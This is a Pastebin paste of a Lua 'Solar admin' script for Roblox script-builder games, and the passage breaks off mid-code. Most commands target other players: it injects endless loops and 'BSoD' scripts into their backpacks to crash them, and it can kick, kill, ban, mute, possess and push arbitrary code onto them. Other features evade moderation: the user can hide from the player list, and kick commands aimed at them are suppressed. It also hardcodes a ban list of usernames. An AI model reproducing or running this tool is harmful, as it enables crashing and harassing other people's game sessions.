Advertisement
nikimario99

Solar Admin

Sep 10th, 2016
186
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 31.18 KB | None | 0 0
  1. wait()
  2. script.Name = "Solar admin"
  3. do
  4. if script:findFirstChild("DSource") ~= nil then
  5. SourceName = "DSource"
  6. elseif script:findFirstChild("Source") ~= nil then
  7. SourceName = "Source"
  8. elseif script:findFirstChild("source") ~= nil then
  9. SourceName = "source"
  10. else
  11. SourceName = "No_Source"
  12. end
  13. end
  14. if SourceName ~= "No_Source" then
  15. print("Source found: "..SourceName)
  16. elseif SourceName == "No_Source" then
  17. error("Source not found, script did not load all features")
  18. end
  19. script:ClearAllChildren()
  20. game.Lighting:ClearAllChildren()
  21. wait()
  22. --[[VARIABLES, BOOLEANS AND TABLES]]--
  23. LocalPlayer = game:GetService("Players").LocalPlayer
  24. runService = game:service'RunService'
  25. LSource = script:Clone()
  26. char = nil
  27. key = nil
  28. Mouse = LocalPlayer:GetMouse()
  29. SunMesh = "http://www.roblox.com/asset/?id=1185246"
  30. SunTexture = "http://www.roblox.com/asset/?id=20261287"
  31. ChatColor = "Institutional white"
  32. Code = "SA: "..game.PlaceId
  33. Key = "/"
  34. SunScale = Vector3.new(3,3,3)
  35. HiddenTablets = false
  36. TabModelDebounce = false
  37. DismissTabOn = false
  38. ChatGui = true
  39. LBlock = true
  40. found = false
  41. NilBoot = false
  42. appearTime = 3
  43. Rotation = 0
  44. Speed = 0.0001
  45. Tabs = {}
  46. Cmds = {}
  47. Banlist = {}
  48. HardBanlist = {"ninevolt781","cappertron20","GOLDC3PO","rabbidog","NoobsAttacks","manofthebase44"}
  49. MuteWords = {}
  50. BadWords = {}
  51. Services = {
  52. game;
  53. game:service'Workspace';
  54. game:service'Players';
  55. game:service'Lighting';
  56. game:service'StarterGui';
  57. game:service'StarterPack';
  58. game:service'Debris';
  59. };
  60. --[[START]]--
  61. if LocalPlayer.Character ~= nil then
  62. LocalPlayer.Character.Archivable = true
  63. Char = LocalPlayer.Character:Clone()
  64. end
  65. if NilBoot == true then
  66. LocalPlayer.Parent = nil
  67. ChatGui = true
  68. appear(CFrame.new(0,25,0))
  69. local a = Char:Clone()
  70. a.Parent = workspace
  71. a.Torso.CFrame = CFrame.new(0,25,0)
  72. LocalPlayer.Character = a
  73. workspace.CurrentCamera.CameraType = "Custom"
  74. workspace.CurrentCamera.CameraSubject = a.Humanoid
  75. wait(5)
  76. SmoothMovement()
  77. end
  78. MuteWords[#MuteWords+1] = LocalPlayer.Name..":Kick()"
  79. MuteWords[#MuteWords+1] = LocalPlayer.Name..":Destroy()"
  80. MuteWords[#MuteWords+1] = LocalPlayer.Name..":remove()"
  81. MuteWords[#MuteWords+1] = '["'..LocalPlayer.Name..'"]:Kick()'
  82. MuteWords[#MuteWords+1] = "['"..LocalPlayer.Name.."']:Kick()"
  83. MuteWords[#MuteWords+1] = '["'..LocalPlayer.Name..'"]:Destroy()'
  84. MuteWords[#MuteWords+1] = "['"..LocalPlayer.Name.."']:Destory()"
  85. MuteWords[#MuteWords+1] = '["'..LocalPlayer.Name..'"]:remove()'
  86. MuteWords[#MuteWords+1] = "['"..LocalPlayer.Name.."']:remove()"
  87. MuteWords[#MuteWords+1] = "'Players':ClearAllChildren()"
  88. MuteWords[#MuteWords+1] = '"Players":ClearAllChildren()'
  89. MuteWords[#MuteWords+1] = "Players:ClearAllChildren()"--alek SD the server or kick manof
  90. for i = 1,#LocalPlayer.Name,1 do
  91. MuteWords[#MuteWords+1] = "kick/"..LocalPlayer.Name:sub(1,i)
  92. end
  93. for i = 1,#LocalPlayer.Name,1 do
  94. MuteWords[#MuteWords+1] = "kick;"..LocalPlayer.Name:sub(1,i)
  95. end
  96. for i = 1,#LocalPlayer.Name,1 do
  97. MuteWords[#MuteWords+1] = "kick:"..LocalPlayer.Name:sub(1,i)
  98. end
  99. for i = 1,#LocalPlayer.Name,1 do
  100. MuteWords[#MuteWords+1] = "kick "..LocalPlayer.Name:sub(1,i)
  101. end
  102. for i = 1,#LocalPlayer.Name,1 do
  103. MuteWords[#MuteWords+1] = ":kick "..LocalPlayer.Name:sub(1,i)
  104. end
  105. for i = 1,#LocalPlayer.Name,1 do
  106. MuteWords[#MuteWords+1] = "/kick/"..LocalPlayer.Name:sub(1,i)
  107. end
  108. for i = 1,#LocalPlayer.Name,1 do
  109. MuteWords[#MuteWords+1] = "kick`"..LocalPlayer.Name:sub(1,i)
  110. end
  111. wait()
  112. --[[TABMODEL]]--
  113. local TabModel = Instance.new("Model")
  114. TabModel.Name = "Solar tabs"
  115. if HiddenTablets == true then
  116. TabModel.Parent = workspace.CurrentCamera
  117. TabModelParent = workspace.CurrentCamera
  118. elseif HiddenTablets == false then
  119. TabModel.Parent = workspace
  120. TabModelParent = workspace
  121. end
  122. --[[PARENTING]]--
  123. script.Parent = _SOLAR_
  124. wait()
  125. --[[FUNCTIONS]]--
  126. function Output(Text,Color,OnClicked)
  127. if TabModel.Parent ~= TabModelParent then return end
  128. if TabModel == nil then return end
  129. if Color == nil then Color = "Institutional white" end
  130. if Text == nil then Text = "" end
  131. local Text = tostring(Text)
  132. Text = Text:gsub("","\5")
  133. local Part = Instance.new("Part", TabModel)
  134. Part.CanCollide = false
  135. Part.Anchored = true
  136. Part.Locked = true
  137. Part.Shape = "Ball"
  138. Part.Size = Vector3.new(3,3,3)
  139. Part.Name = "TABLET: "..math.random(-99999,99999)
  140. if LocalPlayer ~= nil and LocalPlayer.Character ~= nil and LocalPlayer.Character.Torso ~= nil then
  141. Part.CFrame = LocalPlayer.Character.Torso.CFrame
  142. else
  143. Part.CFrame = CFrame.new(0,0,0)
  144. end
  145. local Mesh = Instance.new("SpecialMesh", Part)
  146. Mesh.MeshId = SunMesh
  147. Mesh.TextureId = SunTexture
  148. Mesh.Scale = SunScale
  149. local PointLight = Instance.new("PointLight", Part)
  150. PointLight.Color = BrickColor.new("New Yeller").Color
  151. PointLight.Range = 10
  152. local BillboardGui = Instance.new("BillboardGui", Part)
  153. BillboardGui.Size = UDim2.new(8,0,7,0)
  154. BillboardGui.StudsOffset = Vector3.new(0,2,0)
  155. local TextLabel = Instance.new("TextLabel", BillboardGui)
  156. TextLabel.Text = Text
  157. TextLabel.Size = UDim2.new(1,0,1,0)
  158. TextLabel.BackgroundTransparency = 1
  159. TextLabel.TextColor = BrickColor.new(Color)
  160. TextLabel.Font = "ArialBold"
  161. TextLabel.FontSize = "Size24"
  162. TextLabel.TextStrokeTransparency = 0
  163. local ClickDetector = Instance.new("ClickDetector", Part)
  164. Tabs[#Tabs+1] = Part
  165. ClickDetector.MaxActivationDistance = math.huge
  166. ClickDetector.MouseHoverEnter:connect(function(Player)
  167. if Player.Name == LocalPlayer.Name then
  168. Part.Transparency = 0.5
  169. end
  170. end)
  171. ClickDetector.MouseHoverLeave:connect(function(Player)
  172. if Player.Name == LocalPlayer.Name then
  173. Part.Transparency = 0
  174. end
  175. end)
  176. ClickDetector.MouseClick:connect(function(Player)
  177. if Player.Name == LocalPlayer.Name then
  178. coroutine.wrap(function()
  179. for i = 0,180,10 do
  180. TextLabel.Rotation = i
  181. wait()
  182. end
  183. end)()
  184. coroutine.wrap(function()
  185. for i = 0,1,0.1 do
  186. Part.Transparency = i
  187. wait()
  188. end
  189. wait()
  190. Part:Destroy()
  191. for i,v in pairs(Tabs) do
  192. if v.Name == Part.Name then
  193. table.remove(Tabs,i)
  194. end
  195. end
  196. if OnClicked ~= nil then
  197. OnClicked()
  198. end
  199. end)()
  200. end
  201. end)
  202. if #Tabs > 0 then DismissTab() end
  203. end
  204. function Dismiss()
  205. Tabs = {}
  206. TabModel:ClearAllChildren()
  207. DismissTabOn = false
  208. end
  209. function DismissTab()
  210. if DismissTabOn == true then return end
  211. DismissTabOn = true
  212. Output("Dismiss","Really red", function() Dismiss() DismissTabOn = false end)
  213. end
  214. function Chat(Msg, Clr)
  215. for _,v in pairs(Cmds) do
  216. if #Msg >= #v["Say"]+#Key then
  217. if Msg:lower():sub(1,#v["Say"]+#Key) == v["Say"]:lower()..Key:lower() then
  218. return
  219. end
  220. end
  221. end
  222. if Msg:sub(1,2) == "/e" then return end
  223. if Clr == nil then Clr = "Institutional white" end
  224. if Msg == nil then Msg = "" end
  225. if Msg:sub(1,1) == ";" then Clr = "Really red" Msg = Msg:sub(2) end
  226. if Msg:sub(1,1) == "/" then Clr = "Really blue" Msg = Msg:sub(2) end
  227. Msg = Msg:gsub("","\5")
  228. if LocalPlayer and LocalPlayer.Character and LocalPlayer.Character.Head then
  229. if #LocalPlayer.Character.Head:children() > 15 then return end
  230. for _,v in pairs(LocalPlayer.Character.Head:children()) do
  231. if v.Name == "BG" then
  232. coroutine.wrap(function()
  233. for i = v.StudsOffset.y,v.StudsOffset.y+2,0.1 do
  234. v.StudsOffset = Vector3.new(0,i,0)
  235. wait()
  236. end
  237. wait(2)
  238. if v:findFirstChild("TextLabel") ~= nil then
  239. for i = 0,1,0.1 do
  240. if v:findFirstChild("TextLabel") == nil then break end
  241. v.TextLabel.TextTransparency = i
  242. v.TextLabel.TextStrokeTransparency = i
  243. wait()
  244. end
  245. end
  246. v:Destroy()
  247. end)()
  248. end
  249. end
  250. if ChatGui == false then
  251. return
  252. elseif ChatGui == true then
  253. local BG = Instance.new("BillboardGui", LocalPlayer.Character.Head)
  254. BG.Name = "BG"
  255. BG.Size = UDim2.new(8,0,7,0)
  256. BG.StudsOffset = Vector3.new(0,2,0)
  257. BG.SizeOffset = Vector2.new(0,.1)
  258. local TL = Instance.new("TextLabel", BG)
  259. TL.Text = Msg
  260. TL.BackgroundTransparency = 1
  261. TL.Size = UDim2.new(1,0,.8,0)
  262. TL.Font = "Legacy"
  263. TL.FontSize = "Size24"
  264. TL.TextStrokeTransparency = 0
  265. if Clr ~= "Random" then
  266. TL.TextColor = BrickColor.new(Clr)
  267. elseif Clr == "Random" then
  268. TL.TextColor = BrickColor.random()
  269. end
  270. coroutine.wrap(function()
  271. wait(5)
  272. if TL ~= nil then
  273. for i = 0,1,0.1 do
  274. if TL == nil then break end
  275. TL.TextTransparency = i
  276. TL.TextStrokeTransparency = i
  277. wait()
  278. end
  279. end
  280. BG:Destroy()
  281. end)()
  282. end
  283. end
  284. end
  285. function Notify(Msg)
  286. Chat(Msg,"Really red")
  287. end
  288. function GetPlayers(msg)
  289. local Plrs = {}
  290. if msg == "me" then
  291. table.insert(Plrs, LocalPlayer)
  292. elseif msg == "all" then
  293. Plrs = game:GetService("Players"):GetChildren() --GetPlayers()?
  294. elseif msg == "noobs" then
  295. for _,plr in pairs(game:GetService("Players"):GetChildren()) do
  296. if plr.AccountAge < 364 then
  297. table.insert(Plrs, plr)
  298. end
  299. end
  300. elseif msg == "veterans" then
  301. for _,plr in pairs(game:GetService("Players"):GetChildren()) do
  302. if plr.AccountAge > 364 then
  303. table.insert(Plrs, plr)
  304. end
  305. end
  306. elseif msg == "others" then
  307. for i,v in pairs(game:GetService("Players"):GetChildren()) do
  308. if v ~= LocalPlayer then
  309. table.insert(Plrs, v)
  310. end
  311. end
  312. else
  313. for i,v in pairs(game:GetService("Players"):GetChildren()) do
  314. if v.Name:lower():sub(1,#msg) == msg:lower() then
  315. table.insert(Plrs, v)
  316. end
  317. end
  318. end
  319. return Plrs
  320. end
  321. function Update(CF)
  322. if TabModel.Parent ~= TabModelParent then return end
  323. if TabModel == nil then return end
  324. Rotation = Rotation + Speed
  325. if TabModel.Parent ~= TabModelParent then return end
  326. if TabModel == nil then return end
  327. for i,v in pairs(Tabs) do
  328. if TabModel.Parent ~= TabModelParent then break end
  329. if TabModel == nil then break end
  330. if v.Parent ~= nil then
  331. if TabModel.Parent ~= TabModelParent then break end
  332. if TabModel == nil then break end
  333. if #Tabs < 201 then
  334. if TabModel.Parent ~= TabModelParent then break end
  335. if TabModel == nil then break end
  336. local CP = v.Position:lerp(CF.p,0.15)
  337. v.CFrame = CFrame.new(CP.X,CP.Y,CP.Z) *CFrame.Angles(0,math.rad(((360/#Tabs)*i)+Rotation),0)
  338. *CFrame.new(0,0,#Tabs*0.15 +0.5)
  339. else
  340. if TabModel.Parent ~= TabModelParent then break end
  341. if TabModel == nil then break end
  342. v:Destroy()
  343. end
  344. if TabModel.Parent ~= TabModelParent then break end
  345. if TabModel == nil then break end
  346. end
  347. end
  348. end
  349. function AddCmd(Name, Say, Desc, Func)
  350. Cmds[#Cmds+1] = {["Name"] = Name, ["Say"] = Say, ["Desc"] = Desc, ["Func"] = Func}
  351. end
  352. function ShowCmds()
  353. Dismiss()
  354. for _,v in pairs(Cmds) do
  355. Output(v["Name"],nil,
  356. function()
  357. Dismiss()
  358. Output("Name: "..v["Name"])
  359. Output("Usage: "..v["Say"])
  360. Output("Description: "..v["Desc"])
  361. Output("Back","Really red",function() ShowCmds() end)
  362. end
  363. )
  364. end
  365. end
  366. function NewS(SourceValue, Parent)
  367. if NewScript then
  368. local scr = NewScript:Clone()
  369. if scr:FindFirstChild(SourceName) then
  370. if scr:FindFirstChild(SourceName) then
  371. scr:FindFirstChild(SourceName).Value = SourceValue
  372. scr.Parent = Parent
  373. wait()
  374. scr.Disabled = false
  375. return scr
  376. end
  377. end
  378. else
  379. Output("No source","Really red")
  380. end
  381. end
  382. function NewLS(SourceValue, Parent)
  383. if SourceName == "No_Source" then return end
  384. if game.PlaceId == 54194680 then
  385. NLS(SourceValue, Parent)
  386. else
  387. local NS = LSource:Clone()
  388. NS.Name = "NewLocal"
  389. local Source = NS:findFirstChild(SourceName)
  390. if Source == nil then
  391. Instance.new('StringValue',NS).Name = SourceName
  392. end
  393. Source = NS:findFirstChild(SourceName)
  394. Source.Value = SourceValue
  395. NS.Parent = Parent
  396. NS.Disabled = false
  397. return NS
  398. end
  399. end
  400. function ShowBL()
  401. Dismiss()
  402. for _,v in pairs(Banlist) do
  403. Output(v,nil, function()
  404. Dismiss()
  405. Output(v)
  406. Output("Un-Ban","Really red", function()
  407. table.remove(Banlist, _)
  408. end)
  409. Output("Back","Really red", function()
  410. ShowBL()
  411. end)
  412. end)
  413. end
  414. end
  415. function ShowHBL()
  416. Dismiss()
  417. for _,v in pairs(HardBanlist) do
  418. Output(v,nil, function()
  419. Dismiss()
  420. Output(v)
  421. Output("Un-Ban","Really red", function()
  422. table.remove(HardBanlist, _)
  423. end)
  424. Output("Back","Really red", function()
  425. ShowBL()
  426. end)
  427. end)
  428. end
  429. end
  430. function Connect(who)
  431. if who and who.Backpack then
  432. NewLS(ConnectSource, who.Backpack)
  433. Output("Connected: "..who.Name)
  434. end
  435. end
  436. function SmoothMovement()
  437. if char ~= nil then char = nil end
  438. wait()
  439. if LocalPlayer.Character.Parent == nil then return end
  440. if LocalPlayer.Character == nil then return end
  441. char = LocalPlayer.Character
  442. char.Torso.Anchored = true
  443. Mouse.KeyDown:connect(function(kai)
  444. if kai == "w" then
  445. key = "w"
  446. elseif kai == "s" then
  447. key = "s"
  448. elseif kai == "a" then
  449. key = "a"
  450. elseif kai == "d" then
  451. key = "d"
  452. end
  453. end)
  454. Mouse.KeyUp:connect(function(kai)
  455. if kai == "w" then
  456. key = nil
  457. elseif kai == "s" then
  458. key = nil
  459. elseif kai == "a" then
  460. key = nil
  461. elseif kai == "d" then
  462. key = nil
  463. end
  464. end)
  465. while wait() do
  466. if char == nil then break end
  467. if key == "w" then
  468. if char == nil then break end
  469. char.Torso.CFrame = char.Torso.CFrame * CFrame.new(0,0,-0.5)
  470. elseif key == "s" then
  471. if char == nil then break end
  472. char.Torso.CFrame = char.Torso.CFrame * CFrame.new(0,0,0.5)
  473. elseif key == "a" then
  474. if char == nil then break end
  475. char.Torso.CFrame = char.Torso.CFrame * CFrame.new(-0.5,0,0)
  476. char.Torso.CFrame = char.Torso.CFrame * CFrame.Angles(0,0.5,0)
  477. elseif key == "d" then
  478. if char == nil then break end
  479. char.Torso.CFrame = char.Torso.CFrame * CFrame.new(0.5,0,0)
  480. char.Torso.CFrame = char.Torso.CFrame * CFrame.Angles(0,-0.5,0)
  481. end
  482. end
  483. end
  484. function Explore(part)
  485. Dismiss()
  486. if part == nil then
  487. for _,v in pairs(Services) do
  488. Output(v.Name,nil,function() Explore(v) end)
  489. end
  490. else
  491. for _,v in pairs(part:children()) do
  492. Output(v.Name,nil,function() Explore(v) end)
  493. end
  494. wait()
  495. Output("Currently exploring: "..part.Name,"Really red")
  496. Output("Class name: "..part.ClassName,"Really red")
  497. Output("Destroy","Really red",function() part:Destroy() Explore(part.Parent) end)
  498. Output("Remove","Really red",function() part:remove() Explore(part.Parent) end)
  499. end
  500. end
  501. function appear(pos)
  502. local parts = {}
  503. local frames = appearTime / (1 / 30)
  504. local t = 1
  505. if pos == nil then pos = CFrame.new(0, 25, 0) end
  506. for i=1,500 do
  507. local p = Instance.new("Part", game.Workspace)
  508. p.Anchored = true
  509. p.CanCollide = false
  510. p.formFactor = 3
  511. p.Size = Vector3.new(1, 1, 1)
  512. p.TopSurface = 0
  513. p.BottomSurface = 0
  514. p.BrickColor = BrickColor.random()
  515. local x, y, z = math.random(-10, 10) / 100, math.random(-10, 10) / 100, math.random(-10, 10) / 100
  516. p.CFrame = pos * CFrame.new(x * frames, y * frames, z * frames)
  517. local mesh = Instance.new("SpecialMesh", p)
  518. mesh.MeshId = "http://www.roblox.com/Asset/?id=9756362"
  519. mesh.Scale = Vector3.new(0.9, 0.9, 0.9)
  520. table.insert(parts, {p, CFrame.new(-x, -y, -z) * CFrame.Angles(x, y, z)})
  521. end
  522. for i=1,frames do
  523. local _, duration = runService.Stepped:wait()
  524. for i,v in pairs(parts) do
  525. if v[1].Parent then
  526. v[1].CFrame = v[1].CFrame * v[2]
  527. v[1].Transparency = t
  528. end
  529. end
  530. t = t - (appearTime / frames)
  531. end
  532. for i,v in pairs(parts) do
  533. if v[1].Parent then
  534. v[1]:remove()
  535. end
  536. end
  537. end
  538. --[[COMMANDS]]--
  539. AddCmd("Ping","ping","Ping something",
  540. function(nothing, msg)
  541. Output(tostring(msg))
  542. end
  543. )
  544. AddCmd("Commands","cmds","Show all commands",
  545. function()
  546. ShowCmds()
  547. end
  548. )
  549. AddCmd("#Commands","#cmds","Show the number of commands",
  550. function()
  551. Output(tostring(#Cmds))
  552. end
  553. )
  554. AddCmd("Dismiss","dt","Dismiss tabs",
  555. function()
  556. Dismiss()
  557. end
  558. )
  559. AddCmd("Toggle tabs visibility","hid","Make the tabs visible/invisible",
  560. function(nothing, msg)
  561. if msg == "on" then
  562. HiddenTablets = true
  563. TabModel.Parent = workspace.CurrentCamera
  564. TabModelParent = workspace.CurrentCamera
  565. Output("Tabs are hidden","Really red")
  566. elseif msg == "off" then
  567. HiddenTablets = false
  568. TabModel.Parent = workspace
  569. TabModelParent = workspace
  570. Output("Tabs are visible","Really red")
  571. else
  572. Output("Use on/off to toggle tab visibility","Really red")
  573. end
  574. end
  575. )
  576. AddCmd("Execute","exe","Execute",
  577. function(nothing, msg)
  578. a,b = ypcall(function()
  579. loadstring(msg)()
  580. end)
  581. if not a then Output(b,"Really red") end
  582. end
  583. )
  584. AddCmd("Toggle local block","tlb","Toggle local block on/off",
  585. function(nothing, msg)
  586. if msg == "on" then
  587. LBlock = true
  588. Output("Local block on","Really red")
  589. elseif msg == "off" then
  590. LBlock = false
  591. Output("Local block off")
  592. else
  593. Output("Use on/off to toggle local block","Really red")
  594. end
  595. end
  596. )
  597. AddCmd("Kick","kick","Kick player",
  598. function(Plrs)
  599. for _, plr in pairs(Plrs) do
  600. if plr then
  601. NewS("game:service'Players':findFirstChild('"..plr.Name.."'):Kick()", workspace)
  602. end
  603. end
  604. end
  605. )
  606. AddCmd("Banlist","bl","Show banned players",
  607. function()
  608. ShowBL()
  609. end
  610. )
  611. AddCmd("Hard Banlist","hbl","Show hard banned players",
  612. function()
  613. ShowHBL()
  614. end
  615. )
  616. AddCmd("Semi-Crash","scrash","Semi-crash a player",
  617. function(Plrs)
  618. for _,plr in pairs(Plrs) do
  619. if plr and plr.Backpack then
  620. NewLS("repeat until false",plr.Backpack)
  621. end
  622. end
  623. end
  624. )
  625. AddCmd("Crash","crash","Crash a player (use nil to crash nil players)",
  626. function(nothing, msg)
  627. local a = Instance.new("StringValue", game.Lighting)
  628. a.Name = "DISC: "..msg
  629. game:service'Debris':AddItem(a, 3)
  630. end
  631. )
  632. AddCmd("Mute","mute","Block player's chat",
  633. function(Plrs)
  634. for _, plr in pairs(Plrs) do
  635. if plr and plr.Backpack then
  636. NewLS("game:service'StarterGui':SetCoreGuiEnabled(3, false)", plr.Backpack)
  637. end
  638. end
  639. end
  640. )
  641. AddCmd("Un-Mute","unmute","Un-Block player's chat",
  642. function(Plrs)
  643. for _, plr in pairs(Plrs) do
  644. if plr and plr.Backpack then
  645. NewLS("game:service'StarterGui':SetCoreGuiEnabled(3, true)", plr.Backpack)
  646. end
  647. end
  648. end
  649. )
  650. AddCmd("Clean","clean","Clean workspace",
  651. function()
  652. for _,v in pairs(workspace:children()) do
  653. if v.Name ~= "Terrain" then
  654. v:Destroy()
  655. end
  656. end
  657. NewS("for _,v in pairs(game:service'Players':children()) do if v:IsA('Player') then v:LoadCharacter() end end", workspace)
  658. local base = Instance.new("Part", workspace)
  659. base.Anchored = true
  660. base.Size = Vector3.new(1000,1.2,1000)
  661. base.BrickColor = BrickColor.new("Dark green")
  662. base.Material = "Grass"
  663. end
  664. )
  665. AddCmd("Remove","cremove","Remove the script",
  666. function()
  667. for i = 0,50,1 do
  668. pcall(function()
  669. for j,k in pairs(getfenv(i)) do
  670. getfenv(i)[j] = nil
  671. end
  672. end)
  673. end
  674. end
  675. )
  676. AddCmd("Script","c","Script something",
  677. function(nothing, msg)
  678. if found then
  679. NewS(msg,workspace)
  680. else
  681. Output("No source","Really red")
  682. end
  683. end
  684. )
  685. AddCmd("Kill","kill","Kill player",
  686. function(Plrs)
  687. for _, plr in pairs(Plrs) do
  688. if plr and plr.Character then
  689. plr.Character:breakJoints''
  690. end
  691. end
  692. end
  693. )
  694. AddCmd("NewLocal","newlocal","Inserts a new local in someones backpack",
  695. function(Plrs, msg)
  696. local KeyPos = msg:find(Key)
  697. local TargPlrs = msg:sub(1,KeyPos-1)
  698. local Plrs = GetPlayers(TargPlrs)
  699. local Srce = msg:sub(KeyPos+1)
  700. for _,plr in pairs(Plrs) do
  701. if plr and plr.Backpack then
  702. NewLS(Srce, plr.Backpack)
  703. end
  704. end
  705. end
  706. )
  707. AddCmd("Ban","ban","Bans a player",
  708. function(Plrs)
  709. for _, plr in pairs(Plrs) do
  710. if plr and plr.Backpack then
  711. Banlist[#Banlist +1] = plr.Name
  712. NewS("game:service'Players':findFirstChild('"..plr.Name.."'):Kick()", workspace)
  713. end
  714. end
  715. end
  716. )
  717. AddCmd("Rejoin","rj","Rejoins a player",
  718. function(Plrs)
  719. for _,plr in pairs(Plrs) do
  720. if plr and plr.Character then
  721. if SourceName == "source" then
  722. Output("This is Alakazards scriptbuilder. TPService is disabled here! Can't TP!","Really red")
  723. end
  724. if SourceName ~= "source" then
  725. NewLS([[game:GetService('TeleportService'):Teleport(game.PlaceId)]],plr.Character)
  726. end
  727. end
  728. end
  729. end
  730. )
  731. AddCmd("Ban","ban","Bans a player",
  732. function(Plrs)
  733. for _, plr in pairs(Plrs) do
  734. if plr and plr.Backpack then
  735. Banlist[#Banlist+1] = plr.Name
  736. end
  737. end
  738. end
  739. )
  740. AddCmd("Chat","chat","Turns chat on/off",
  741. function(nothing, msg)
  742. if msg == "on" then
  743. ChatGui = true
  744. elseif msg == "off" then
  745. ChatGui = false
  746. end
  747. end
  748. )
  749. AddCmd("GetAge","ga","Get age of a player",
  750. function(Plrs)
  751. for _, plr in pairs(Plrs) do
  752. if plr then
  753. Output(plr.Name..": "..tostring(plr.AccountAge))
  754. end
  755. end
  756. end)
  757. AddCmd("Hint","h","Show some hint",
  758. function(nothing, msg)
  759. if found then
  760. NewS([[
  761. a = Instance.new("Hint", workspace)
  762. msg = "]]..msg..[["
  763. msg = msg:gsub("","\5")
  764. game:service'Debris':AddItem(a, 5)
  765. while wait() do
  766. for i = 30,0,-1 do
  767. a.Text = "-->"..string.rep(" ",i)..msg..string.rep(" ",i).."<--"
  768. wait()
  769. end
  770. for i = 0,30,1 do
  771. a.Text = "-->"..string.rep(" ",i)..msg..string.rep(" ",i).."<--"
  772. wait()
  773. end
  774. end
  775. ]], workspace)
  776. end
  777. end
  778. )
  779. AddCmd("Message","m","Show a message",
  780. function(nothing, msg)
  781. if found then
  782. NewS([[
  783. a = Instance.new("Message", workspace)
  784. msg = "]]..msg..[["
  785. msg = msg:gsub("","\5")
  786. game:service'Debris':AddItem(a, 5)
  787. while wait() do
  788. for i = 30,0,-1 do
  789. a.Text = "-->"..string.rep(" ",i)..msg..string.rep(" ",i).."<--"
  790. wait()
  791. end
  792. for i = 0,30,1 do
  793. a.Text = "-->"..string.rep(" ",i)..msg..string.rep(" ",i).."<--"
  794. wait()
  795. end
  796. end
  797. ]], workspace)
  798. end
  799. end
  800. )
  801. AddCmd("Char","char","Be a character",
  802. function()
  803. if LocalPlayer.Parent == game.Players then return end
  804. if LocalPlayer.Character~= nil then
  805. LocalPlayer.Character:Destroy()
  806. end
  807. char = nil
  808. appear(CFrame.new(0,25,0))
  809. local a = Char:Clone()
  810. a.Parent = workspace
  811. a.Torso.CFrame = CFrame.new(0,25,0)
  812. LocalPlayer.Character = a
  813. workspace.CurrentCamera.CameraType = "Custom"
  814. workspace.CurrentCamera.CameraSubject = a.Humanoid
  815. wait(5)
  816. SmoothMovement()
  817. end
  818. )
  819. AddCmd("Refresh 'nil smooth movement'","rnsm","Refresh the movement when you are nil",
  820. function()
  821. if LocalPlayer.Parent == nil then
  822. char = nil
  823. wait()
  824. SmoothMovement()
  825. else
  826. Output("You are not nil.","Really red")
  827. end
  828. end
  829. )
  830. AddCmd("Go nil","gn","Go to nil player mode",
  831. function()
  832. LocalPlayer.Parent = nil
  833. appear(CFrame.new(0,25,0))
  834. local a = Char:Clone()
  835. a.Torso.CFrame = CFrame.new(0,25,0)
  836. a.Parent = workspace
  837. LocalPlayer.Character = a
  838. workspace.CurrentCamera.CameraType = "Custom"
  839. workspace.CurrentCamera.CameraSubject = a.Humanoid
  840. wait(5)
  841. SmoothMovement()
  842. end
  843. )
  844. AddCmd("Fix camera","fcam","Fix your camera",
  845. function()
  846. workspace.CurrentCamera.CameraType = "Custom"
  847. workspace.CurrentCamera.CameraSubject = LocalPlayer.Character.Humanoid
  848. end
  849. )
  850. AddCmd("Nils","nilp","Get nil players",
  851. function()
  852. NewS([[
  853. Model = Instance.new("Model", game.Lighting)
  854. Model.Name = "SolarAdminNilPlayers"
  855. for _,v in pairs(game:service'NetworkServer':children()) do
  856. if v:GetPlayer() then
  857. if v:GetPlayer().Parent ~= game:service'Players' then
  858. Instance.new("StringValue",Model).Value = v:GetPlayer().Name
  859. end
  860. end
  861. end
  862. ]], workspace)
  863. wait()
  864. np = nil
  865. for i = 0,5,1 do
  866. if game.Lighting:findFirstChild("SolarAdminNilPlayers") then
  867. np = game.Lighting:findFirstChild("SolarAdminNilPlayers")
  868. break
  869. end
  870. wait(0.1)
  871. end
  872. if np ~= nil then
  873. Dismiss()
  874. for _,v in pairs(np:children()) do
  875. if v:IsA("StringValue") then
  876. Output(v.Value,"Really red")
  877. end
  878. end
  879. elseif np == nil then
  880. Output("Something went wrong.","Really red")
  881. end
  882. end
  883. )
  884. AddCmd("Possess","ps","Possess a player",
  885. function(Plrs)
  886. for _, plr in pairs(Plrs) do
  887. if plr and plr.Character then
  888. LocalPlayer.Character = plr.Character
  889. workspace.CurrentCamera.CameraType = "Custom"
  890. workspace.CurrentCamera.CameraSubject = plr.Character.Humanoid
  891. end
  892. end
  893. end
  894. )
  895. AddCmd("'Hard' ban","hb","Hard ban a player",
  896. function(Plrs)
  897. for _, plr in pairs(Plrs) do
  898. if plr then
  899. HardBanlist[#HardBanlist+1] = plr.Name
  900. NewS("game:service'Players':findFirstChild('"..plr.Name.."'):Kick()", workspace)
  901. for i = 0,10,1 do
  902. Notify("Hard Banned "..plr.Name.."!")
  903. end
  904. end
  905. end
  906. end
  907. )
  908. AddCmd("Explore","explore","Explore the game",
  909. function()
  910. Explore()
  911. end
  912. )
  913. AddCmd("Rejoin yourself","rej","Rejoin yourself even if you are nil",
  914. function()
  915. if SourceName ~= "source" then
  916. game:service'TeleportService':Teleport(game.PlaceId)
  917. else
  918. Output("This is alakazard's sb, can't teleport here.","Really red")
  919. end
  920. end
  921. )
  922. AddCmd("BSoD","bsod","BSoD a player",
  923. function(Plrs)
  924. for _, plr in pairs(Plrs) do
  925. if plr and plr.Backpack then
  926. for i = 0,7,1 do
  927. NewLS(BSoDSource, plr.Backpack)
  928. end
  929. end
  930. end
  931. end
  932. )
  933. --[[SOURCES]]--
  934. LBlock1 = [[
  935. LocalPlayer.descendantAdded:connect(function(what)
  936. if what:IsA("Script") or what:IsA("LocalScript") then
  937. if LBlock == false then return end
  938. if what.Name == "Health" then return end
  939. if what.Name == "HealthScript v3.1" then return end
  940. if what.Name == "Animate" then return end
  941. what.Disabled = true
  942. wait()
  943. what:Destroy()
  944. end
  945. end)
  946. ]]
  947. LBlock2 = [[
  948. LocalPlayer.Backpack.descendantAdded:connect(function(what)
  949. if what:IsA("Script") or what:IsA("LocalScript") then
  950. if LBlock == false then return end
  951. if what.Name == "Health" then return end
  952. if what.Name == "HealthScript v3.1" then return end
  953. if what.Name == "Animate" then return end
  954. what.Disabled = true
  955. wait()
  956. what:Destroy()
  957. end
  958. end)
  959. ]]
  960. LBlock3 = [[
  961. LocalPlayer.Character.descendantAdded:connect(function(what)
